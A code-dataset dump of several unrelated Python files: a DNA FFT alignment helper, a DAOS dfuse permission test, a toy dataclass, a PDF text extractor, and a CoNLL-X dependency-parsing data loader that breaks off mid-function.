max_val,max_pos,algn\n\n#model1 => this defines how the nucleotide sequence that is not shifting is\n#currently aligned. it lists all the positions where a dna sequence\n#exists. For example if this sequence is put first as [ACTG.....] WHERE\n#\".\" represents no sequence or \"0 padding\" then model1 would be\n#[1,2,3,4,0,0,0,0,0] where 4 represents position 4 or nucleotide 4 along\n#sequence\n\n#model 2=> this defines how the nucleotide sequence that is shifting along\n#the first one is aligned/designed. For example if model 2 is [.....ACTG]\n#where '.\" represents regions of no sequence or \"0\" padding, then we right\n#it as [0,0,0,0,0,1,2,3,4] \t\t\n\n#the output is as follows [shift position in fft alignment (index of array), alignment start along query, alignment end along query, alignment start along target, alignment query along query, alignment length)\ndef modelOverlap(model1,model2):\n\tmodel2shift = [0]*len(model2)\n\talgnShift = []\n\t\t\n\tfor shift in range(len(model1)):\n\t\tfor i in range(len(model2)):\n\t\t\tshiftPos = (i-shift)%len(model2)\t\t\t\n\t\t\tmodel2shift[i] = model2[shiftPos]\n\t\n\t\t\n\t\t\n\t\talgn = [0]*len(model2)\n\t\t\n\t\tfor k in range(len(model1)):\n\t\t\talgn[k] = model1[k]*model2shift[k]\n\n\t\n\t\t\n\t\tcurrentPos = 0\n\t\t\n\t\tstart = -1\t\n\t\tbatch = 0\n\t\ts = 1\n\t\tmaxLen = 0\n\t\tmaxP = -1\n\t\tendP=-1\n\t\t\n\t\tposS = [];#[0]*4\n\t\ttempPos = [0]*3\n\t\tfor s in range(len(algn)):\t\t\t\n\t\t\tif algn[s]!=0:\n\t\t\t\tif start == -1:\n\t\t\t\t\tstart =s \n\t\t\telse:\n\t\t\t\tif start !=-1:\n\t\t\t\t\tendP=s-1\t\n\t\t\t\t\ttempPos=[start,endP,endP-start+1]\t\t\t\t\t\n\t\t\t\t\tposS.append(tempPos)\n\t\t\t\t\t\n\t\t\t\t\tif posS[batch][2]>maxLen:\n\t\t\t\t\t\tmaxP = batch\n\t\t\t\t\t\tmaxLen = posS[batch][2]\t\t\t\t\t\n\t\t\t\t\tstart = -1\n\t\t\t\t\ttempPos = [0]*4\n\t\t\t\t\tendP = -1\n\t\t\t\t\tbatch = batch+1\n\t\t\t\t\t\n\t\t\t\t\t\n\t\tif algn[s] != 0:\n\t\t\tif start == -1:\n\t\t\t\tstart = s\n\t\t\t\tendP = s\n\t\t\telse:\n\t\t\t\tendP=s\n\t\t\ttempPos[:,2] =[start,endP,endP-start+1]\n\t\t\tposS.append(tempPos) \n\t\t\t\t\t\t\n\t\t\tif posS[batch][2]>maxLen:\n\t\t\t\tmaxP = batch;\n\t\t\t\tmaxLen = posS[batch][2]\n\t\t\tbatch =batch+1\n\t\t\t\n\t\tif maxP==-1:\n\t\t\talgnInd=[]\n\t\telse:\n\t\t\talgnInd = [posS[maxP][0],posS[maxP][1]]\n\t\n\t\t\n\t\tif algnInd!=[]:\n\t\t\talgnShift.append([shift,model1[algnInd[0]]-1,model1[algnInd[1]]-1,model2shift[algnInd[0]]-1,model2shift[algnInd[1]]-1,posS[maxP][2]])\n\t\telse:\n\t\t\talgnShift.append([shift,-1,-1,-1,-1,0])\n\t\t\t\n\treturn algnShift\n\t\t\n\n#model1 => this defines how the nucleotide sequence that is not shifting is\n#currently aligned. it lists all the positions where a dna sequence\n#exists. For example if this sequence is put first as [ACTG.....] WHERE\n#\".\" represents no sequence or \"0 padding\" then model1 would be\n#[1,2,3,4,0,0,0,0,0] where 4 represents position 4 or nucleotide 4 along\n#sequence\n\n#model 2=> this defines how the nucleotide sequence that is shifting along\n#the first one is aligned/designed. For example if model 2 is [.....ACTG]\n#where '.\" represents regions of no sequence or \"0\" padding, then we right\n#it as [0,0,0,0,0,1,2,3,4] \t\t\n\n#the output is as follows [shift position in fft alignment (index of array), alignment start along query, alignment end along query, alignment start along target, alignment query along query, alignment length)\ndef AlignmentOverlap(model1,model2,shift):\n\tmodel2shift = [0]*len(model2)\n\talgnShift = []\n\t\t\n\t\n\tfor i in range(len(model2)):\n\t\tshiftPos = (i-shift)%len(model2)\t\t\t\n\t\tmodel2shift[i] = model2[shiftPos]\n\n\t\n\t\n\talgn = [0]*len(model2)\n\t\n\tfor k in range(len(model1)):\n\t\talgn[k] = model1[k]*model2shift[k]\n\n\n\t\n\tcurrentPos = 0\n\t\n\tstart = -1\t\n\tbatch = 0\n\ts = 1\n\tmaxLen = 0\n\tmaxP = -1\n\tendP=-1\n\t\n\tposS = [];#[0]*4\n\ttempPos = [0]*3\n\tfor s in range(len(algn)):\t\t\t\n\t\tif algn[s]!=0:\n\t\t\tif start == -1:\n\t\t\t\tstart =s \n\t\telse:\n\t\t\tif start !=-1:\n\t\t\t\tendP=s-1\t\n\t\t\t\ttempPos=[start,endP,endP-start+1]\t\t\t\t\t\n\t\t\t\tposS.append(tempPos)\n\t\t\t\t\n\t\t\t\tif posS[batch][2]>maxLen:\n\t\t\t\t\tmaxP = batch\n\t\t\t\t\tmaxLen = posS[batch][2]\t\t\t\t\t\n\t\t\t\tstart = -1\n\t\t\t\ttempPos = [0]*4\n\t\t\t\tendP = -1\n\t\t\t\tbatch = batch+1\n\t\t\t\t\n\t\t\t\t\n\tif algn[s] != 0:\n\t\tif start == -1:\n\t\t\tstart = s\n\t\t\tendP = s\n\t\telse:\n\t\t\tendP=s\n\t\ttempPos[:,2] =[start,endP,endP-start+1]\n\t\tposS.append(tempPos) \n\t\t\t\t\t\n\t\tif posS[batch][2]>maxLen:\n\t\t\tmaxP = batch;\n\t\t\tmaxLen = posS[batch][2]\n\t\tbatch =batch+1\n\t\t\n\tif maxP==-1:\n\t\talgnInd=[]\n\telse:\n\t\talgnInd = [posS[maxP][0],posS[maxP][1]]\n\n\n\tif algnInd!=[]:\n\t\t\n\t\talgnShift= [model1[algnInd[0]]-1,model1[algnInd[1]]-1,model2shift[algnInd[0]]-1,model2shift[algnInd[1]]-1,posS[maxP][2]]\n\telse:\n\t\talgnShift=[-1,-1,-1,-1,0]\n\t\t\t\n\treturn algnShift\n\t\t\t\n\t\t\t\n\t\t\t\n#def plotAlgn(cross_corr_result):\n#\tplt.plot(range(len(cross_corr_result)),cross_corr_result)\n#\tplt.show()\n\n###EXAMPLE OF HOW TO USE THIS###\n#query = \"AACCGGGTTAGGGGTTAAAAGCGGTGGGGTT\"\n#target =\"GGGGTT\"\n\n#targetList = [\"GGTTGT\",\"AATTGA\"]\n#a = seqDatab_to_four(targetList,50,1)\n\n\n#sqf = seq_to_four(query,len(query)+len(target))\n#sf1 = seq_to_four(target,len(query)+len(target))\n#c= return_cross_corr(sf1,sqf)\n\n#Seq1 = [1,2,1,1,1,1,1,1,0,0,0,0,0]\n#seq2 = [0,0,0,0,0,0,0,0,1,1,1,1,1]\n#modelOverlap(seq1,seq2)","sub_path":"cchrysostomou_nt_fft_align_tools.py","file_name":"cchrysostomou_nt_fft_align_tools.py","file_ext":"py","file_size_in_byte":10155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"581477850","text":"\"\"\"\n (C) Copyright 2022 Intel Corporation.\n SPDX-License-Identifier: BSD-2-Clause-Patent\n\"\"\"\nimport os\nfrom itertools import product\n\nfrom ClusterShell.NodeSet import NodeSet\n\nfrom dfuse_test_base import DfuseTestBase\nfrom dfuse_utils import VerifyPermsCommand\n\n\nclass DfuseMUPerms(DfuseTestBase):\n \"\"\"Verify dfuse multi-user basic permissions.\"\"\"\n\n def test_dfuse_mu_perms(self):\n \"\"\"Jira ID: DAOS-10854.\n\n Test Description:\n Verify dfuse multi-user permissions.\n Use cases:\n Create a pool.\n Create a container.\n Mount dfuse in multi-user mode.\n Verify all rwx permissions for the owner and other users.\n :avocado: tags=all,daily_regression\n :avocado: tags=vm\n :avocado: tags=dfuse,dfuse_mu,verify_perms\n :avocado: tags=DfuseMUPerms,test_dfuse_mu_perms\n \"\"\"\n # Use a single client for file/dir operations\n client = NodeSet(self.hostlist_clients[0])\n\n # Setup the verify command\n verify_perms_cmd = VerifyPermsCommand(client)\n verify_perms_cmd.get_params(self)\n\n # Use the owner to mount dfuse\n dfuse_user = verify_perms_cmd.owner.value\n\n # Create a pool and give dfuse_user access\n pool = self.get_pool(connect=False)\n pool.update_acl(False, 'A::{}@:rw'.format(dfuse_user))\n\n # Create a container as dfuse_user\n daos_command = self.get_daos_command()\n daos_command.run_user = dfuse_user\n cont = self.get_container(pool, daos_command=daos_command)\n\n # Run dfuse as dfuse_user\n self.load_dfuse(client)\n self.dfuse.run_user = dfuse_user\n self.start_dfuse(client, pool, cont)\n\n # Verify each permission mode and entry type\n for _mode, _type in product(('simple', 'real'), ('file', 'dir')):\n path = os.path.join(self.dfuse.mount_dir.value, 'test_' + _type)\n self.log.info('Verifying %s %s permissions on %s', _mode, _type, path)\n verify_perms_cmd.update_params(path=path, create_type=_type, verify_mode=_mode)\n verify_perms_cmd.run()\n self.log.info('Passed %s %s permissions on %s', _mode, _type, path)\n","sub_path":"src/tests/ftest/dfuse/mu_perms.py","file_name":"mu_perms.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"170005171","text":"from dataclasses import dataclass\n\n\n@dataclass\nclass Puppy:\n name: str\n cute: bool\n soft: bool\n\n def say_hi(self):\n print(f\"Woof! I'm {self.name}!\")\n\n\ndef puppy_test():\n auggy = Puppy(\"August\", True, True)\n auggy.say_hi()\n toby = Puppy(name=\"Toby\", cute=True, soft=True)\n toby.say_hi()\n","sub_path":"languages/py/src/extra/puppy.py","file_name":"puppy.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"189344124","text":"# Extract text from PDF-File, attach coordinates to text\n# 09.08.2019 SC V1.0.0\n#\n# found @ https://pdfminer-docs.readthedocs.io/programming.html#performing-layout-analysis\n# ( modified )\n#\n# CLI usage: python extract_text_and_positions path.pdf\n###\n\nimport sys\nimport re\n\nfrom pdfminer.layout import LAParams, LTTextBox\nfrom pdfminer.pdfpage import PDFPage\nfrom pdfminer.converter import PDFPageAggregator\nfrom pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter\n\n\ndef main(argv):\n try:\n fp = open(argv, 'rb')\n\n rsrcmgr = PDFResourceManager()\n laparams = LAParams()\n device = PDFPageAggregator(rsrcmgr, laparams=laparams)\n interpreter = PDFPageInterpreter(rsrcmgr, device)\n pages = PDFPage.get_pages(fp)\n\n for page in pages:\n interpreter.process_page(page)\n layout = device.get_result()\n for lobj in layout:\n if isinstance(lobj, LTTextBox):\n x, y, text = lobj.bbox[0], lobj.bbox[3], lobj.get_text()\n\n text = text.replace('\\r', '').replace('\\n', '') # replace CR LF\n text = re.sub(' +', ' ', text) # remove double whitespace\n out_name = argv.replace('.pdf', '.txt') # name of output\n\n f = open(out_name, 'a', encoding='utf-8')\n f.write('\\n'.format(x, y, text))\n\n f.close()\n print('Success')\n\n except:\n print('Error in Processing')\n\n\nif __name__ == '__main__':\n \"\"\" here the first command line argument is used\"\"\"\n try:\n main(sys.argv[1])\n except:\n print('Argument Position Error')\n","sub_path":"extract_text_and_postitions.py","file_name":"extract_text_and_postitions.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"27495034","text":"\nfrom setup import *\n\n#----------------------------------------------------------------------\nclass RampPv(object):\n ''' Note that the default condition inserted is the one with the default values below '''\n def __init__(self, parent = None):\n super(RampPv, self).__init__()\n self.pvName = \"TEST:AO\"\n self.start = -10\n self.end = 10\n self.action = LINEAR \n self.description = \"\"\n","sub_path":"cls1/eggs/build/lib/lti/widgets/pvramper/ramppv.py","file_name":"ramppv.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"546886168","text":"import logging\nimport sys\nimport json\nimport os\nimport os.path\nimport random\nimport re\nimport numpy as np\nimport torch\n\n\nPAD = \"_PAD\"\nPAD_POS = \"_PAD_POS\"\nPAD_TYPE = \"_\"\nPAD_CHAR = \"_PAD_CHAR\"\nROOT = \"_ROOT\"\nROOT_POS = \"_ROOT_POS\"\nROOT_TYPE = \"_\"\nROOT_CHAR = \"_ROOT_CHAR\"\nEND = \"_END\"\nEND_POS = \"_END_POS\"\nEND_TYPE = \"_\"\nEND_CHAR = \"_END_CHAR\"\nROOT_ID = 2 # tabu\n_START_VOCAB = [PAD, ROOT, END]\n\nUNK_ID = 0\nPAD_ID_WORD = 1\nPAD_ID_CHAR = 1\nPAD_ID_TAG = 0\n\nNUM_SYMBOLIC_TAGS = 3\n\n_buckets = [10, 15, 20, 25, 30, 35, 40, 50, 60, 70, 80, 90, 100, 140]\n\nMAX_CHAR_LENGTH = 45\nNUM_CHAR_PAD = 2\n\n# Regular expressions used to normalize digits.\nDIGIT_RE = re.compile(\"\\d\")\n\n\ndef get_logger(name, level=logging.INFO, handler=sys.stdout,\n formatter='%(asctime)s - %(name)s - %(levelname)s - %(message)s'):\n logger = logging.getLogger(name)\n logger.setLevel(logging.INFO)\n formatter = logging.Formatter(formatter)\n stream_handler = logging.StreamHandler(handler)\n stream_handler.setLevel(level)\n stream_handler.setFormatter(formatter)\n logger.addHandler(stream_handler)\n\n return logger\n\n\nclass Sentence(object):\n def __init__(self, words, word_ids, char_seqs, char_id_seqs):\n self.words = words\n self.word_ids = word_ids\n self.char_seqs = char_seqs\n self.char_id_seqs = char_id_seqs\n\n def length(self):\n return len(self.words)\n\n\nclass DependencyInstance(object):\n def __init__(self, sentence, postags, pos_ids, heads, types, type_ids):\n self.sentence = sentence\n self.postags = postags\n self.pos_ids = pos_ids\n self.heads = heads\n self.types = types\n self.type_ids = type_ids\n\n def length(self):\n return self.sentence.length()\n\n\nclass Alphabet(object):\n def __init__(self, name, default_value=False, keep_growing=True, singleton=False):\n self.__name = name\n\n self.instance2index = {}\n self.instances = []\n self.default_value = default_value\n self.offset = 1 if self.default_value else 0\n self.keep_growing = keep_growing\n self.singletons = set() if singleton else None\n\n # Index 0 is occupied by default, all else following.\n self.default_index = 0 if self.default_value else None\n\n self.next_index = self.offset\n\n self.logger = get_logger('Alphabet')\n\n def add(self, instance):\n if instance not in self.instance2index:\n self.instances.append(instance)\n self.instance2index[instance] = self.next_index\n self.next_index += 1\n\n def add_singleton(self, id):\n if self.singletons is None:\n raise RuntimeError('Alphabet %s does not have singleton.' % self.__name)\n else:\n self.singletons.add(id)\n\n def add_singletons(self, ids):\n if self.singletons is None:\n raise RuntimeError('Alphabet %s does not have singleton.' % self.__name)\n else:\n self.singletons.update(ids)\n\n def is_singleton(self, id):\n if self.singletons is None:\n raise RuntimeError('Alphabet %s does not have singleton.' % self.__name)\n else:\n return id in self.singletons\n\n def get_index(self, instance):\n try:\n return self.instance2index[instance]\n except KeyError:\n if self.keep_growing:\n index = self.next_index\n self.add(instance)\n return index\n else:\n if self.default_value:\n return self.default_index\n else:\n raise KeyError(\"instance not found: %s\" % instance)\n\n def get_instance(self, index):\n if self.default_value and index == self.default_index:\n # First index is occupied by the wildcard element.\n return '<_UNK>'\n else:\n try:\n return self.instances[index - self.offset]\n except IndexError:\n raise IndexError('unknown index: %d' % index)\n\n def size(self):\n return len(self.instances) + self.offset\n\n def singleton_size(self):\n return len(self.singletons)\n\n def items(self):\n return self.instance2index.items()\n\n def enumerate_items(self, start):\n if start < self.offset or start >= self.size():\n raise IndexError(\"Enumerate is allowed between [%d : size of the alphabet)\" % self.offset)\n return zip(range(start, len(self.instances) + self.offset), self.instances[start - self.offset:])\n\n def close(self):\n self.keep_growing = False\n\n def open(self):\n self.keep_growing = True\n\n def get_content(self):\n if self.singletons is None:\n return {'instance2index': self.instance2index, 'instances': self.instances}\n else:\n return {'instance2index': self.instance2index, 'instances': self.instances,\n 'singletions': list(self.singletons)}\n\n def __from_json(self, data):\n self.instances = data[\"instances\"]\n self.instance2index = data[\"instance2index\"]\n if 'singletions' in data:\n self.singletons = set(data['singletions'])\n else:\n self.singletons = None\n\n def save(self, output_directory, name=None):\n \"\"\"\n Save both alhpabet records to the given directory.\n :param output_directory: Directory to save model and weights.\n :param name: The alphabet saving name, optional.\n :return:\n \"\"\"\n saving_name = name if name else self.__name\n try:\n if not os.path.exists(output_directory):\n os.makedirs(output_directory)\n\n json.dump(self.get_content(),\n open(os.path.join(output_directory, saving_name + \".json\"), 'w'), indent=4)\n except Exception as e:\n self.logger.warn(\"Alphabet is not saved: %s\" % repr(e))\n\n def load(self, input_directory, name=None):\n \"\"\"\n Load model architecture and weights from the give directory. This allow we use old models even the structure\n changes.\n :param input_directory: Directory to save model and weights\n :return:\n \"\"\"\n loading_name = name if name else self.__name\n self.__from_json(json.load(open(os.path.join(input_directory, loading_name + \".json\"))))\n self.next_index = len(self.instances) + self.offset\n self.keep_growing = False\n\n def load_from(self, data):\n self.__from_json(data)\n self.next_index = len(self.instances) + self.offset\n self.keep_growing = False\n\n\nclass CoNLLXWriter(object):\n def __init__(self, word_alphabet, char_alphabet, pos_alphabet, type_alphabet):\n self.__source_file = None\n self.__word_alphabet = word_alphabet\n self.__char_alphabet = char_alphabet\n self.__pos_alphabet = pos_alphabet\n self.__type_alphabet = type_alphabet\n\n def start(self, file_path):\n dirname = os.path.dirname(file_path)\n os.makedirs(dirname, exist_ok=True)\n self.__source_file = open(file_path, 'w')\n\n def close(self):\n self.__source_file.close()\n\n def write(self, word, pos, head, type, lengths, symbolic_root=False, symbolic_end=False):\n batch_size, _ = word.shape\n start = 1 if symbolic_root else 0\n end = 1 if symbolic_end else 0\n for i in range(batch_size):\n for j in range(start, lengths[i] - end):\n w = self.__word_alphabet.get_instance(word[i, j]).encode('utf-8')\n p = self.__pos_alphabet.get_instance(pos[i, j]).encode('utf-8')\n t = self.__type_alphabet.get_instance(type[i, j]).encode('utf-8')\n h = head[i, j]\n self.__source_file.write('%d\\t%s\\t_\\t_\\t%s\\t_\\t%d\\t%s\\n' % (j, w, p, h, t))\n self.__source_file.write('\\n')\n\n\nclass CoNLLXReader(object):\n def __init__(self, file_path, word_alphabet, char_alphabet, pos_alphabet, type_alphabet):\n self.__source_file = open(file_path, 'r')\n self.__word_alphabet = word_alphabet\n self.__char_alphabet = char_alphabet\n self.__pos_alphabet = pos_alphabet\n self.__type_alphabet = type_alphabet\n\n def close(self):\n self.__source_file.close()\n\n def getNext(self, normalize_digits=True, symbolic_root=False, symbolic_end=False):\n line = self.__source_file.readline()\n # skip multiple blank lines.\n while len(line) > 0 and len(line.strip()) == 0:\n line = self.__source_file.readline()\n if len(line) == 0:\n return None\n\n lines = []\n while len(line.strip()) > 0:\n line = line.strip()\n lines.append(line.split('\\t'))\n line = self.__source_file.readline()\n\n length = len(lines)\n if length == 0:\n return None\n\n words = []\n word_ids = []\n char_seqs = []\n char_id_seqs = []\n postags = []\n pos_ids = []\n types = []\n type_ids = []\n heads = []\n\n if symbolic_root:\n words.append(ROOT)\n word_ids.append(self.__word_alphabet.get_index(ROOT))\n char_seqs.append([ROOT_CHAR, ])\n char_id_seqs.append([self.__char_alphabet.get_index(ROOT_CHAR), ])\n postags.append(ROOT_POS)\n pos_ids.append(self.__pos_alphabet.get_index(ROOT_POS))\n types.append(ROOT_TYPE)\n type_ids.append(self.__type_alphabet.get_index(ROOT_TYPE))\n heads.append(0)\n\n for tokens in lines:\n chars = []\n char_ids = []\n for char in tokens[1]:\n chars.append(char)\n char_ids.append(self.__char_alphabet.get_index(char))\n if len(chars) > MAX_CHAR_LENGTH:\n chars = chars[:MAX_CHAR_LENGTH]\n char_ids = char_ids[:MAX_CHAR_LENGTH]\n char_seqs.append(chars)\n char_id_seqs.append(char_ids)\n\n word = DIGIT_RE.sub(\"0\", tokens[1]) if normalize_digits else tokens[1]\n pos = tokens[4]\n head = int(tokens[6])\n type = tokens[7]\n\n words.append(word)\n word_ids.append(self.__word_alphabet.get_index(word))\n\n postags.append(pos)\n pos_ids.append(self.__pos_alphabet.get_index(pos))\n\n types.append(type)\n type_ids.append(self.__type_alphabet.get_index(type))\n\n heads.append(head)\n\n if symbolic_end:\n words.append(END)\n word_ids.append(self.__word_alphabet.get_index(END))\n char_seqs.append([END_CHAR, ])\n char_id_seqs.append([self.__char_alphabet.get_index(END_CHAR), ])\n postags.append(END_POS)\n pos_ids.append(self.__pos_alphabet.get_index(END_POS))\n types.append(END_TYPE)\n type_ids.append(self.__type_alphabet.get_index(END_TYPE))\n heads.append(0)\n\n return DependencyInstance(Sentence(words, word_ids, char_seqs, char_id_seqs), postags, pos_ids, heads, types, type_ids)\n\n\ndef create_alphabets(alphabet_directory, train_path, data_paths=None, max_vocabulary_size=50000, embedd_dict=None,\n min_occurence=1, normalize_digits=True):\n def expand_vocab():\n vocab_set = set(vocab_list)\n for data_path in data_paths:\n # logger.info(\"Processing data: %s\" % data_path)\n with open(data_path, 'r') as file:\n for line in file:\n line = line.strip()\n if len(line) == 0:\n continue\n\n tokens = line.split('\\t')\n for char in tokens[1]:\n char_alphabet.add(char)\n\n word = DIGIT_RE.sub(\"0\", tokens[1]) if normalize_digits else tokens[1]\n pos = tokens[4]\n type = tokens[7]\n\n pos_alphabet.add(pos)\n type_alphabet.add(type)\n\n if word not in vocab_set and (word in embedd_dict or word.lower() in embedd_dict):\n vocab_set.add(word)\n vocab_list.append(word)\n\n logger = get_logger(\"Create Alphabets\")\n word_alphabet = Alphabet('word', default_value=True, singleton=True)\n char_alphabet = Alphabet('character', default_value=True)\n pos_alphabet = Alphabet('pos')\n type_alphabet = Alphabet('type')\n if not os.path.isdir(alphabet_directory):\n logger.info(\"Creating Alphabets: %s\" % alphabet_directory)\n\n char_alphabet.add(PAD_CHAR)\n pos_alphabet.add(PAD_POS)\n type_alphabet.add(PAD_TYPE)\n\n char_alphabet.add(ROOT_CHAR)\n pos_alphabet.add(ROOT_POS)\n type_alphabet.add(ROOT_TYPE)\n\n char_alphabet.add(END_CHAR)\n pos_alphabet.add(END_POS)\n type_alphabet.add(END_TYPE)\n\n vocab = dict()\n with open(train_path, 'r') as file:\n for line in file:\n line = line.strip()\n if len(line) == 0:\n continue\n\n tokens = line.split('\\t')\n for char in tokens[1]:\n char_alphabet.add(char)\n\n word = DIGIT_RE.sub(\"0\", tokens[1]) if normalize_digits else tokens[1]\n pos = tokens[4]\n type = tokens[7]\n\n pos_alphabet.add(pos)\n type_alphabet.add(type)\n\n if word in vocab:\n vocab[word] += 1\n else:\n vocab[word] = 1\n # collect singletons\n singletons = set([word for word, count in vocab.items() if count <= min_occurence])\n\n # if a singleton is in pretrained embedding dict, set the count to min_occur + c\n if embedd_dict is not None:\n for word in vocab.keys():\n if word in embedd_dict or word.lower() in embedd_dict:\n vocab[word] += min_occurence\n\n vocab_list = _START_VOCAB + sorted(vocab, key=vocab.get, reverse=True)\n logger.info(\"Total Vocabulary Size: %d\" % len(vocab_list))\n logger.info(\"Total Singleton Size: %d\" % len(singletons))\n vocab_list = [word for word in vocab_list if word in _START_VOCAB or vocab[word] > min_occurence]\n logger.info(\"Total Vocabulary Size (w.o rare words): %d\" % len(vocab_list))\n\n if len(vocab_list) > max_vocabulary_size:\n vocab_list = vocab_list[:max_vocabulary_size]\n\n if data_paths is not None and embedd_dict is not None:\n expand_vocab()\n\n for word in vocab_list:\n word_alphabet.add(word)\n if word in singletons:\n word_alphabet.add_singleton(word_alphabet.get_index(word))\n\n word_alphabet.save(alphabet_directory)\n char_alphabet.save(alphabet_directory)\n pos_alphabet.save(alphabet_directory)\n type_alphabet.save(alphabet_directory)\n else:\n word_alphabet.load(alphabet_directory)\n char_alphabet.load(alphabet_directory)\n pos_alphabet.load(alphabet_directory)\n type_alphabet.load(alphabet_directory)\n\n word_alphabet.close()\n char_alphabet.close()\n pos_alphabet.close()\n type_alphabet.close()\n logger.info(\"Word Alphabet Size (Singleton): %d (%d)\" % (word_alphabet.size(), word_alphabet.singleton_size()))\n logger.info(\"Character Alphabet Size: %d\" % char_alphabet.size())\n logger.info(\"POS Alphabet Size: %d\" % pos_alphabet.size())\n logger.info(\"Type Alphabet Size: %d\" % type_alphabet.size())\n return word_alphabet, char_alphabet, pos_alphabet, type_alphabet\n\n\ndef read_data(source_path, word_alphabet, char_alphabet, pos_alphabet, type_alphabet, max_size=None,\n normalize_digits=True, symbolic_root=False, symbolic_end=False, remove_invalid_data=False):\n data = [[] for _ in _buckets]\n max_char_length = [0 for _ in _buckets]\n print('Reading data from %s' % source_path)\n counter = 0\n reader = CoNLLXReader(source_path, word_alphabet, char_alphabet, pos_alphabet, type_alphabet)\n inst = reader.getNext(normalize_digits=normalize_digits, symbolic_root=symbolic_root, symbolic_end=symbolic_end)\n while inst is not None and (not max_size or counter < max_size):\n counter += 1\n if counter % 10000 == 0:\n print(\"reading data: %d\" % counter)\n\n inst_size = inst.length()\n sent = inst.sentence\n for bucket_id, bucket_size in enumerate(_buckets):\n if inst_size < bucket_size:\n data[bucket_id].append([sent.word_ids, sent.char_id_seqs, inst.pos_ids, inst.heads, inst.type_ids])\n max_len = max([len(char_seq) for char_seq in sent.char_seqs])\n if max_char_length[bucket_id] < max_len:\n max_char_length[bucket_id] = max_len\n break\n\n inst = reader.getNext(normalize_digits=normalize_digits, symbolic_root=symbolic_root, symbolic_end=symbolic_end)\n reader.close()\n print(\"Total number of data: %d\" % counter)\n\n def remove_no_NNP_data():\n essential_pos = [pos_alphabet.get_index('NNP'), pos_alphabet.get_index('NNPS')]\n new_data = [[] for _ in _buckets]\n invalid_data = []\n valid_data_cnt = 0\n for bucket_id, bucket_size in enumerate(_buckets):\n for inst in data[bucket_id]:\n pos_ids = inst[2]\n valid = False\n for ep in essential_pos:\n for pi in pos_ids:\n if ep == pi:\n valid = True\n break\n if valid:\n break\n if valid:\n new_data[bucket_id].append(inst)\n valid_data_cnt += 1\n else:\n invalid_data.append(inst)\n print(\"Removed %s invalid data, %s valid data remained from %s\" % (len(invalid_data), valid_data_cnt, source_path))\n return new_data\n\n import config\n if remove_invalid_data and config.cfg.remove_no_NNP_data:\n data = remove_no_NNP_data()\n print(\"Use succinct dataset\")\n\n return data, max_char_length\n\n\ndef get_batch(data, batch_size, word_alphabet=None, unk_replace=0.):\n data, max_char_length = data\n bucket_sizes = [len(data[b]) for b in range(len(_buckets))]\n total_size = float(sum(bucket_sizes))\n # A bucket scale is a list of increasing numbers from 0 to 1 that we'll use\n # to select a bucket. Length of [scale[i], scale[i+1]] is proportional to\n # the size if i-th training bucket, as used later.\n buckets_scale = [sum(bucket_sizes[:i + 1]) / total_size for i in range(len(bucket_sizes))]\n\n # Choose a bucket according to data distribution. We pick a random number\n # in [0, 1] and use the corresponding interval in train_buckets_scale.\n random_number = np.random.random_sample()\n bucket_id = min([i for i in range(len(buckets_scale)) if buckets_scale[i] > random_number])\n\n bucket_length = _buckets[bucket_id]\n char_length = min(MAX_CHAR_LENGTH, max_char_length[bucket_id] + NUM_CHAR_PAD)\n bucket_size = bucket_sizes[bucket_id]\n batch_size = min(bucket_size, batch_size)\n\n wid_inputs = np.empty([batch_size, bucket_length], dtype=np.int64)\n cid_inputs = np.empty([batch_size, bucket_length, char_length], dtype=np.int64)\n pid_inputs = np.empty([batch_size, bucket_length], dtype=np.int64)\n hid_inputs = np.empty([batch_size, bucket_length], dtype=np.int64)\n tid_inputs = np.empty([batch_size, bucket_length], dtype=np.int64)\n\n masks = np.zeros([batch_size, bucket_length], dtype=np.float32)\n single = np.zeros([batch_size, bucket_length], dtype=np.int64)\n\n for b in range(batch_size):\n wids, cid_seqs, pids, hids, tids = random.choice(data[bucket_id])\n\n inst_size = len(wids)\n # word ids\n wid_inputs[b, :inst_size] = wids\n wid_inputs[b, inst_size:] = PAD_ID_WORD\n for c, cids in enumerate(cid_seqs):\n cid_inputs[b, c, :len(cids)] = cids\n cid_inputs[b, c, len(cids):] = PAD_ID_CHAR\n cid_inputs[b, inst_size:, :] = PAD_ID_CHAR\n # pos ids\n pid_inputs[b, :inst_size] = pids\n pid_inputs[b, inst_size:] = PAD_ID_TAG\n # type ids\n tid_inputs[b, :inst_size] = tids\n tid_inputs[b, inst_size:] = PAD_ID_TAG\n # heads\n hid_inputs[b, :inst_size] = hids\n hid_inputs[b, inst_size:] = PAD_ID_TAG\n # masks\n masks[b, :inst_size] = 1.0\n\n if unk_replace:\n for j, wid in enumerate(wids):\n if word_alphabet.is_singleton(wid):\n single[b, j] = 1\n\n if unk_replace:\n noise = np.random.binomial(1, unk_replace, size=[batch_size, bucket_length])\n wid_inputs = wid_inputs * (1 - noise * single)\n\n return wid_inputs, cid_inputs, pid_inputs, hid_inputs, tid_inputs, masks\n\n\ndef iterate_batch(data, batch_size, word_alphabet=None, unk_replace=0., shuffle=False):\n data, max_char_length = data\n bucket_sizes = [len(data[b]) for b in range(len(_buckets))]\n total_size = float(sum(bucket_sizes))\n bucket_indices = np.arange(len(_buckets))\n if shuffle:\n np.random.shuffle((bucket_indices))\n\n for bucket_id in bucket_indices:\n bucket_size = bucket_sizes[bucket_id]\n if bucket_size == 0:\n continue\n\n bucket_length = _buckets[bucket_id]\n char_length = min(MAX_CHAR_LENGTH, max_char_length[bucket_id] + NUM_CHAR_PAD)\n wid_inputs = np.empty([bucket_size, bucket_length], dtype=np.int64)\n cid_inputs = np.empty([bucket_size, bucket_length, char_length], dtype=np.int64)\n pid_inputs = np.empty([bucket_size, bucket_length], dtype=np.int64)\n hid_inputs = np.empty([bucket_size, bucket_length], dtype=np.int64)\n tid_inputs = np.empty([bucket_size, bucket_length], dtype=np.int64)\n\n masks = np.zeros([bucket_size, bucket_length], dtype=np.float32)\n single = np.zeros([bucket_size, bucket_length], 